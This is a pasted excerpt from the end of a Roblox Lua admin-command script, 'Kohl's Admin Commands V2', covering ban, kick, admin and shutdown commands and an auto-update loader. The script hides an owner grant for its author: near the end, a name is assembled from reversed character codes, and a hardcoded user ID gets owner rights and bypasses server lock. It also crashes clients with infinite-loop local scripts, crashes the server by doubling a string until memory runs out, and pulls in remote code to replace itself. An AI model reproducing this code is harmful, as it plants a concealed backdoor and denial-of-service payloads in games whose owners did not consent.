  2161. local plrz = GetPlr(plr, msg:lower():sub(6))
  2162. for i, v in pairs(plrz) do
  2163. coroutine.resume(coroutine.create(function()
  2164. if v and not ChkAdmin(v.Name, false) then v:Destroy() end
  2165. end))
  2166. end
  2167. end
  2168.  
  2169. if msg:lower():sub(1,6) == "admin " then
  2170. local plrz = GetPlr(plr, msg:lower():sub(7))
  2171. for i, v in pairs(plrz) do
  2172. coroutine.resume(coroutine.create(function()
  2173. if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2174. end))
  2175. end
  2176. end
  2177.  
  2178. if msg:lower():sub(1,8) == "unadmin " then
  2179. for i = 1, #tempadmins do
  2180. coroutine.resume(coroutine.create(function()
  2181. if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
  2182. end))
  2183. end
  2184. end
  2185.  
  2186. if msg:lower():sub(1,4) == "ban " then
  2187. local plrz = GetPlr(plr, msg:lower():sub(5))
  2188. for i, v in pairs(plrz) do
  2189. coroutine.resume(coroutine.create(function()
  2190. if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
  2191. end))
  2192. end
  2193. end
  2194.  
  2195. if msg:lower():sub(1,6) == "unban " then
  2196. for i = 1, #banland do
  2197. coroutine.resume(coroutine.create(function()
  2198. if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
  2199. end))
  2200. end
  2201. end
  2202.  
  2203. if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value .. str.Value wait(.1) until nil end
  2204.  
  2205. end
  2206. end))
  2207. end
  2208.  
  2209. function AdminControl(plr)
  2210. coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do if obj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end))
  2211. if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui")
  2212. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  2213. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  2214. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  2215. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  2216. end)) end
  2217. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  2218. coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
  2219. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name == ("111reyalseca"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  2220. coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {plr}) end end))
  2221. plr.Chatted:connect(function(msg) Chat(msg,plr) end)
  2222. end
  2223.  
  2224. if not ntab then script:Destroy() end
  2225. if not bct then script:Destroy() end
  2226.  
  2227. local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
  2228.  
  2229. script.Name = "Kohl's Admin Commands V2"
  2230.  
  2231. if not ntab then script:Destroy() end
  2232. if not bct then script:Destroy() end
  2233. if not tcb then script:Destroy() end
  2234. game.Players.PlayerAdded:connect(AdminControl)
  2235. for i, v in pairs(game.Players:children()) do AdminControl(v) end
  2236. end
  2237.  
  2238. local mod = game:service("InsertService"):LoadAsset(100808216)
  2239. if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) and AutoUpdate then
  2240. local newac = mod:findFirstChild("Kohl's Admin Commands V2")
  2241. newac.Disabled = true
  2242. local new = tonumber(mod:findFirstChild("Version", true).Value)
  2243. local old = 0
  2244. if script:findFirstChild("Version", true) then old = tonumber(script:findFirstChild("Version", true).Value) end
  2245. if new > old then
  2246. local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
  2247. for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end
  2248. for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end
  2249. for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end
  2250. for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end
  2251. local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
  2252. local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
  2253. local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
  2254. local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
  2255. local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
  2256. wait()
  2257. newac.Parent = game.Workspace
  2258. newac.Disabled = false
  2259. script.Disabled = true
  2260. script:Destroy()
  2261. else
  2262. CHEESE()
  2263. end
  2264. else
  2265. CHEESE()
  2266. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement